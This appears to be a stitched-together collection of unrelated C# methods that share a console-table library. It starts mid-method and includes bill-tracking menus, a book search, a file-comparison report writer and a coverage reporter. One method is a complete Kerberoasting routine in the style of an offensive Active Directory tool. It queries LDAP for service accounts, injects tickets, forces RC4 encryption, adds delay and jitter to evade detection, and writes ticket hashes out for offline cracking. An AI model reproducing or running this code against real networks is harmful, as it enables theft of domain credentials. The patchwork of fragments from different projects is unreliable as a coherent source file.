} logger.Info("Building releases nupkg. " + $"Current database version: {snapAppsReleases.Version}. " + $"Releases count: {snapAppsReleases.Count()}."); var releasesMemoryStream = !snapAppsReleases.Any() ? snapPack.BuildEmptyReleasesPackage(anyRidSnapApp, snapAppsReleases) : snapPack.BuildReleasesPackage(anyRidSnapApp, snapAppsReleases); var releasesNupkgAbsolutePath = snapOs.Filesystem.PathCombine(packagesDirectory, anyRidSnapApp.BuildNugetReleasesFilename()); var releasesNupkgFilename = filesystem.PathGetFileName(releasesNupkgAbsolutePath); await snapOs.Filesystem.FileWriteAsync(releasesMemoryStream, releasesNupkgAbsolutePath, cancellationToken); logger.Info("Finished building releases nupkg.\n" + $"Filename: {releasesNupkgFilename}.\n" + $"Size: {releasesMemoryStream.Length.BytesAsHumanReadable()}.\n" + $"New database version: {snapAppsReleases.Version}.\n" + $"Pack id: {snapAppsReleases.PackId:N}."); logger.Info('-'.Repeat(TerminalBufferWidth)); var anySnapTargetDefaultChannel = anyRidSnapApp.Channels.First(); var nugetSources = anyRidSnapApp.BuildNugetSources(filesystem.PathGetTempPath()); var packageSource = nugetSources.Items.Single(x => x.Name == anySnapTargetDefaultChannel.PushFeed.Name); await PushPackageAsync(nugetService, filesystem, distributedMutex, nuGetPackageSources, packageSource, anySnapTargetDefaultChannel, releasesNupkgAbsolutePath, cancellationToken, logger); await BlockUntilSnapUpdatedReleasesNupkgAsync(logger, snapPackageManager, snapAppsReleases, anyRidSnapApp, anySnapTargetDefaultChannel, TimeSpan.FromSeconds(15), cancellationToken); logger.Info('-'.Repeat(TerminalBufferWidth)); await CommandRestoreAsync(new RestoreOptions { Id = anyRidSnapApp.Id, Rid = anyRid ? null : anyRidSnapApp.Target.Rid, BuildInstallers = true }, filesystem, snapAppReader, snapAppWriter, nuGetPackageSources, snapPackageManager, snapOs, snapxEmbeddedResources, coreRunLib, snapPack, logger, workingDirectory, cancellationToken); logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info($"Fetching releases overview from feed: {anySnapTargetDefaultChannel.PushFeed.Name}"); await CommandListAsync(new ListOptions { Id = anyRidSnapApp.Id }, filesystem, snapAppReader, nuGetPackageSources, nugetService, snapExtractor, logger, workingDirectory, cancellationToken); logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info($"Demote completed in {stopwatch.Elapsed.TotalSeconds:F1}s."); return(0); }
static void Main(string[] args) { Program p = new Program(); int opcao; do { Uteis.MontaMenu(); opcao = Convert.ToInt32(Console.ReadLine()); if (opcao < 1 || opcao > 6) { Console.Clear(); Console.BackgroundColor = ConsoleColor.Red; Console.ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("INFORME UMA OPÇÃO VALIDA", 'X', 30); Console.ResetColor(); } else { Console.Clear(); switch (opcao) { case 1: Uteis.MontaHeader("LISTAGEM DE CONTAS"); p.contas = new List <Conta>(); p.contas = p.conta.ListarTodos(); ListarContas(); Console.ReadLine(); Console.Clear(); break; case 2: Uteis.MontaHeader("NOVA CONTA"); CadastrarConta(); Console.ReadLine(); Console.Clear(); break; case 3: Console.WriteLine("Editar"); break; case 4: Console.WriteLine("Excluir"); break; case 5: Uteis.MontaHeader("RELATÓRIO"); GerarRelatorio(); Console.ReadLine(); Console.Clear(); break; } } } while (opcao != 6); void GerarRelatorio() { Console.Write("Digite a data inicial: "); DateTime dataInicial = Convert.ToDateTime(Console.ReadLine()); Console.Write("Digite a data final: "); DateTime dataFinal = Convert.ToDateTime(Console.ReadLine()); p.contas = new List <Conta>(); p.contas = p.conta.ListarTodos(dataInicial, dataFinal); ListarContas(); } void ListarContas() { ConsoleTable table = new ConsoleTable("Id", "Descrição", "Tipo", "Valor", "Data Vencimento"); foreach (var cont in p.contas) { table.AddRow(cont.Id, cont.Descricao, cont.Tipo.Equals('R') ? "Receber" : "Pagar", cont.Valor, cont.DataVencimento); } table.Write(); } void ListarCategorias() { ConsoleTable tableCategorias = new ConsoleTable("Id", "Nome"); foreach (var cat in p.categorias) { tableCategorias.AddRow(cat.Id, cat.Nome); } tableCategorias.Write(); } void CadastrarConta() { var descricaoConta = ""; do { Console.Write("Informe a descrição da conta: "); descricaoConta = Console.ReadLine(); if (descricaoConta != null && descricaoConta.Equals("")) { Console.BackgroundColor = ConsoleColor.Red; Console.ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("INFORME UMA DESCRIÇÃO VALIDA", 'X', 30); Console.ResetColor(); } } while (descricaoConta.Equals("")); Console.Write("Informe o valor da conta: "); double valorConta = Convert.ToDouble(Console.ReadLine()); Console.Write("Informe a data de vencimento da conta (dd/mm/aaaa): "); DateTime dataVencimentoConta = Convert.ToDateTime(Console.ReadLine()); Console.Write("Informe o tipo (R para Receber e P para pagar)"); char tipoConta = Convert.ToChar(Console.ReadLine()); Console.WriteLine("Selecione a categoria da conta"); p.categorias = new List <Categoria>(); p.categorias = p.categoria.ListarTodos(); ListarCategorias(); Console.Write("Informe o código da categoria desejada:"); int categoriaConta = Convert.ToInt32(Console.ReadLine()); Categoria categoriaCadastro = p.categoria.GetCategoria(categoriaConta); Conta conta = new Conta() { Categoria = categoriaCadastro, DataVencimento = dataVencimentoConta, Descricao = descricaoConta, Valor = valorConta, Tipo = tipoConta }; p.conta.Salvar(conta); Console.BackgroundColor = ConsoleColor.DarkGreen; Console.ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("CADASTRO REALIZADO COM SUCESSO", 'X', 30); Console.ResetColor(); } }
public static void PretrazivanjeKnjiga() { /* * * ---------------------------------------------- * * Funkcija koja omogućuje korisniku pretraživanje * određene knjige. * * ---------------------------------------------- * */ int redniBroj = 1; string tekst = "Pokrenuto je pretraživanje knjiga"; Loganje(tekst); DohvatiAutore(); DohvatiKnjige(); var ttable = new ConsoleTable("Rbr", "Šifra", "Naziv", "Autor", "Godina Izdavanja"); Console.WriteLine("1-po dijelu naziva\n2-po dijelu naziva autora\n3-po godini(manje - više)\nENTER-Izlaz na glavni izbornik"); string izbor; int odabir1; izbor = Console.ReadLine(); if (izbor == "") { Console.Clear(); TkojePrijavljen(); } odabir1 = Convert.ToInt32(izbor); switch (odabir1) { case 1: { Console.Clear(); izbor1: Console.Write("Unesite dio naziva knjige: "); string nazivDio = Console.ReadLine(); if (nazivDio == "") { Console.Clear(); goto izbor1; } foreach (var Knjiga in Knjige) { if (Knjiga.naziv.Contains(nazivDio.ToUpper())) { foreach (var Autor in Autori) { if (Knjiga.autorID == Autor.redniBroj) { ttable.AddRow(redniBroj++, Knjiga.sifra, Knjiga.naziv, Autor.imeAutora, Knjiga.godinaIzadavanja); } } } } ttable.Write(); Console.ReadKey(); break; } case 2: { Console.Clear(); izbor2: Console.Write("Unesite dio naziva autora: "); string nazAutor = Console.ReadLine(); if (nazAutor == "") { Console.Clear(); goto izbor2; } foreach (var Autor in Autori) { if (Autor.imeAutora.ToLower().Contains(nazAutor.ToLower())) { foreach (var Knjiga in Knjige) { if (Knjiga.autorID == Autor.redniBroj) { ttable.AddRow(redniBroj++, Knjiga.sifra, Knjiga.naziv, Autor.imeAutora, Knjiga.godinaIzadavanja); } } } } ttable.Write(); Console.ReadKey(); break; } case 3: { Console.Clear(); izbor3: Console.Write("Unesite godinu izdanja: "); string godinaIz = Console.ReadLine(); int ukupnoKnjiga = 0; int BrGod = 0; if (godinaIz == "") { Console.Clear(); goto izbor3; } foreach (var Knjiga in Knjige) { if (Knjiga.godinaIzadavanja == godinaIz) { foreach (var Autor in Autori) { if (Knjiga.autorID == Autor.redniBroj) { ttable.AddRow(redniBroj++, Knjiga.sifra, Knjiga.naziv, Autor.imeAutora, Knjiga.godinaIzadavanja); BrGod++; } } } ukupnoKnjiga++; } ttable.Write(); double postotak = (Convert.ToDouble(BrGod) / Convert.ToDouble(ukupnoKnjiga) * 100); Console.WriteLine("Postotak knjiga {0}. godine od sveukupnog broja knjiga je: ", godinaIz); Console.WriteLine("{0}%", postotak); //Console.Write(postotak.ToString("P2", CultureInfo.InvariantCulture)); Console.ReadKey(); break; } default: { break; } } }
public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) { Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); return; } if (delay != 0) { Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); if (jitter != 0) { Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); } Console.WriteLine(); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else if ((spns != null) && (spns.Count != 0)) { foreach (string s in spns) { Console.WriteLine("\r\n[*] Target SPN : {0}", s); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); } } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } // inject ticket for LDAP search if supplied if (TGT != null) { byte[] kirbiBytes = null; string ticketDomain = TGT.enc_part.ticket_info[0].prealm; if (String.IsNullOrEmpty(domain)) { // if a domain isn't specified, use the domain from the referral domain = ticketDomain; } // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher if (ticketDomain != domain) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(domain); } string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); if (match.Success) { System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); dc = dcInfo.HostName; } // request a service tickt for LDAP on the target DC kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); } // otherwise inject the TGT to perform the domain searcher else { kirbiBytes = TGT.Encode().Encode(); } LSA.ImportTicket(kirbiBytes, new LUID()); } // build LDAP query string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } List <IDictionary <string, Object> > users = Networking.GetLdapQuery(cred, OUName, dc, domain, userSearchFilter, ldaps); if (users == null) { Console.WriteLine("[X] LDAP query failed, try specifying more domain information or specific SPNs."); return; } try { if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (IDictionary <string, Object> user in users) { string samAccountName = (string)user["samaccountname"]; string distinguishedName = (string)user["distinguishedname"]; string servicePrincipalName = ((string[])user["serviceprincipalname"])[0]; DateTime?pwdLastSet = null; if (user.ContainsKey("pwdlastset")) { pwdLastSet = ((DateTime)user["pwdlastset"]).ToLocalTime(); } Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.ContainsKey("msds-supportedencryptiontypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)(int) user["msds-supportedencryptiontypes"]; } if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } if (pwdLastSet == null) { // pwdLastSet == null with new accounts and // when a password is set to never expire if (!userPWDsetYears.ContainsKey(-1)) { userPWDsetYears[-1] = 1; } else { userPWDsetYears[-1] += 1; } } else { int year = pwdLastSet.Value.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] += 1; } } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { Interop.KERB_ETYPE etype = Interop.KERB_ETYPE.subkey_keymaterial; // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 etype = Interop.KERB_ETYPE.rc4_hmac; } bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, etype); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, etype); Helpers.RandomDelayWithJitter(delay, jitter); } } else { // otherwise use the KerberosRequestorSecurityToken method bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); } } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
static void CadastrarConta(Program p) { string descricao = ""; do { Write("Informe a descricao da conta: "); descricao = ReadLine(); if (descricao.Equals("")) { BackgroundColor = ConsoleColor.Red; ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("INFORME UMA DESCRICAO PARA A CONTA!", 'X', 20); ResetColor(); } } while (descricao.Equals("")); Write("Informe o valor: "); double valor = Convert.ToDouble(ReadLine()); Write("Informe o Tipo (R para receber ou P para pagar): "); char tipo = Convert.ToChar(ReadLine()); Write("Informe a data de vencimento (dd/mm/aaaa): "); DateTime dataVencimento = DateTime.Parse(ReadLine()); WriteLine("Selecine uma Categoria pela ID: \n"); ConsoleTable table = new ConsoleTable("ID", "Nome"); p.categorias = p.categoria.ListarTodos(); foreach (var cat in p.categorias) { table.AddRow(cat.Id, cat.Nome); } table.Write(); Write("Categoria: "); int cat_id = Convert.ToInt32(ReadLine()); Categoria categoria_cadastro = p.categoria.GetCategoria(cat_id); Conta conta = new Conta() { Descricao = descricao, Valor = valor, Tipo = tipo, DataVencimento = dataVencimento, Categoria = categoria_cadastro }; p.conta.Salvar(conta); BackgroundColor = ConsoleColor.DarkGreen; ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("Conta Salva com sucesso!", '+', 20); ResetColor(); }
/// <summary> /// Writes the given set of results into the terminal. /// </summary> /// <param name="results">A set of results regarding each compared pair of files.</param> /// <param name="level">The output details level.</param>DisplayDisplay public override void Write(List <ComparatorMatchingScore> results) { DisplayLevel dl = Enum.Parse <DisplayLevel>(this.Settings.Display.ToUpper()); //TODO: try with enum inside settings Console.OutputEncoding = System.Text.Encoding.UTF8; WriteSeparator('#', ConsoleColor.DarkGray); //The list of CMS must be grouped and sorted in order to display. foreach (IGrouping <string, ComparatorMatchingScore> grpLeft in results.GroupBy(x => x.LeftFileName)) { //Displays the left file info with its total match Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write(" ⬩ Left file ["); float match = grpLeft.Sum(x => x.Matching) / grpLeft.Count(); Console.ForegroundColor = (match < GetThreshold(DisplayLevel.BASIC) ? ConsoleColor.DarkGreen : ConsoleColor.DarkRed); Console.Write("{0:P2}", match); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write("]: "); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(grpLeft.Key); foreach (IGrouping <string, ComparatorMatchingScore> grpRight in grpLeft.GroupBy(x => x.RightFileName)) { //Displays the right file info with its total match Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write(" ⤷ Right file ["); match = grpRight.Sum(x => x.Matching) / grpRight.Count(); Console.ForegroundColor = (match < GetThreshold(DisplayLevel.BASIC) ? ConsoleColor.DarkGreen : ConsoleColor.DarkRed); Console.Write("{0:P2}", match); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write("]: "); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(grpRight.Key); if (dl >= DisplayLevel.COMPARATOR) { foreach (ComparatorMatchingScore comp in grpRight.Select(x => x).ToList()) { Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write(" ⤷ Comparator ["); Console.ForegroundColor = (comp.Matching < GetThreshold(DisplayLevel.BASIC) ? ConsoleColor.DarkGreen : ConsoleColor.DarkRed); Console.Write("{0:P2}", comp.Matching); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.Write("]: "); Console.ForegroundColor = ConsoleColor.White; Console.WriteLine(comp.Comparator); //Looping over the detials DetailsMatchingScore dms = (DetailsMatchingScore)comp; while (dms != null) { if (dl >= dms.DisplayLevel) { Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine(); WriteSeparator('·', ConsoleColor.DarkRed); Console.WriteLine(); Console.WriteLine(" {1}: displaying details for matching values over {0:P2}", GetThreshold(dms.DisplayLevel), comp.Comparator); Console.WriteLine(); var table = new ConsoleTable(dms.DetailsCaption); for (int i = 0; i < dms.DetailsData.Count; i++) { if (dms.DetailsMatch[i] > GetThreshold(dms.DisplayLevel)) { List <string> formatedData = new List <string>(); for (int j = 0; j < dms.DetailsFormat.Length; j++) { if (dms.DetailsFormat[j].Contains(":L")) { //Custom string length formatting output string sl = dms.DetailsFormat[j].Substring(dms.DetailsFormat[j].IndexOf(":L") + 2); sl = sl.Substring(0, sl.IndexOf("}")); int length = int.Parse(sl); string pText = dms.DetailsData[i][j].ToString(); if (pText.Length <= length) { formatedData.Add(pText); } else { formatedData.Add(string.Format("{0}...", pText.Substring(0, length - 3))); } } else { //Native string formatting output formatedData.Add(String.Format(dms.DetailsFormat[j], dms.DetailsData[i][j])); } } table.AddRow(formatedData.ToArray()); } } table.Write(); Console.WriteLine(); } dms = dms.Child; } } } } Console.WriteLine(); } WriteSeparator('#', ConsoleColor.DarkGray); Console.ForegroundColor = ConsoleColor.White; }
public override bool Execute() { try { Console.WriteLine("\nCalculating coverage result..."); if (InstrumenterState is null || !File.Exists(InstrumenterState.ItemSpec)) { _logger.LogError("Result of instrumentation task not found"); return(false); } var coverage = new Coverage(CoveragePrepareResult.Deserialize(new FileStream(InstrumenterState.ItemSpec, FileMode.Open)), this._logger, (IInstrumentationHelper)DependencyInjection.Current.GetService(typeof(IInstrumentationHelper))); var result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(_output); if (directory == string.Empty) { directory = Directory.GetCurrentDirectory(); } else if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } var formats = _format.Split(','); foreach (var format in formats) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified output format '{format}' is not supported"); } if (reporter.OutputType == ReporterOutputType.Console) { // Output to console Console.WriteLine(" Outputting results to console"); Console.WriteLine(reporter.Report(result)); } else { // Output to file var filename = Path.GetFileName(_output); filename = (filename == string.Empty) ? $"coverage.{reporter.Extension}" : filename; filename = Path.HasExtension(filename) ? filename : $"{filename}.{reporter.Extension}"; var report = Path.Combine(directory, filename); Console.WriteLine($" Generating report '{report}'"); File.WriteAllText(report, reporter.Report(result)); } } var thresholdTypeFlags = ThresholdTypeFlags.None; var thresholdStat = ThresholdStatistic.Minimum; foreach (var thresholdType in _thresholdType.Split(',').Select(t => t.Trim())) { if (thresholdType.Equals("line", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Line; } else if (thresholdType.Equals("branch", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Branch; } else if (thresholdType.Equals("method", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Method; } } if (_thresholdStat.Equals("average", StringComparison.OrdinalIgnoreCase)) { thresholdStat = ThresholdStatistic.Average; } else if (_thresholdStat.Equals("total", StringComparison.OrdinalIgnoreCase)) { thresholdStat = ThresholdStatistic.Total; } var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var summary = new CoverageSummary(); int numModules = result.Modules.Count; var linePercentCalculation = summary.CalculateLineCoverage(result.Modules); var branchPercentCalculation = summary.CalculateBranchCoverage(result.Modules); var methodPercentCalculation = summary.CalculateMethodCoverage(result.Modules); var totalLinePercent = linePercentCalculation.Percent; var totalBranchPercent = branchPercentCalculation.Percent; var totalMethodPercent = methodPercentCalculation.Percent; var averageLinePercent = linePercentCalculation.AverageModulePercent; var averageBranchPercent = branchPercentCalculation.AverageModulePercent; var averageMethodPercent = methodPercentCalculation.AverageModulePercent; foreach (var module in result.Modules) { var linePercent = summary.CalculateLineCoverage(module.Value).Percent; var branchPercent = summary.CalculateBranchCoverage(module.Value).Percent; var methodPercent = summary.CalculateMethodCoverage(module.Value).Percent; coverageTable.AddRow(Path.GetFileNameWithoutExtension(module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); } Console.WriteLine(); Console.WriteLine(coverageTable.ToStringAlternative()); coverageTable.Columns.Clear(); coverageTable.Rows.Clear(); coverageTable.AddColumn(new[] { "", "Line", "Branch", "Method" }); coverageTable.AddRow("Total", $"{totalLinePercent}%", $"{totalBranchPercent}%", $"{totalMethodPercent}%"); coverageTable.AddRow("Average", $"{averageLinePercent}%", $"{averageBranchPercent}%", $"{averageMethodPercent}%"); Console.WriteLine(coverageTable.ToStringAlternative()); thresholdTypeFlags = result.GetThresholdTypesBelowThreshold(summary, _threshold, thresholdTypeFlags, thresholdStat); if (thresholdTypeFlags != ThresholdTypeFlags.None) { var exceptionMessageBuilder = new StringBuilder(); if ((thresholdTypeFlags & ThresholdTypeFlags.Line) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} line coverage is below the specified {_threshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Branch) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} branch coverage is below the specified {_threshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Method) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} method coverage is below the specified {_threshold}"); } throw new Exception(exceptionMessageBuilder.ToString()); } } catch (Exception ex) { _logger.LogError(ex); return(false); } return(true); }
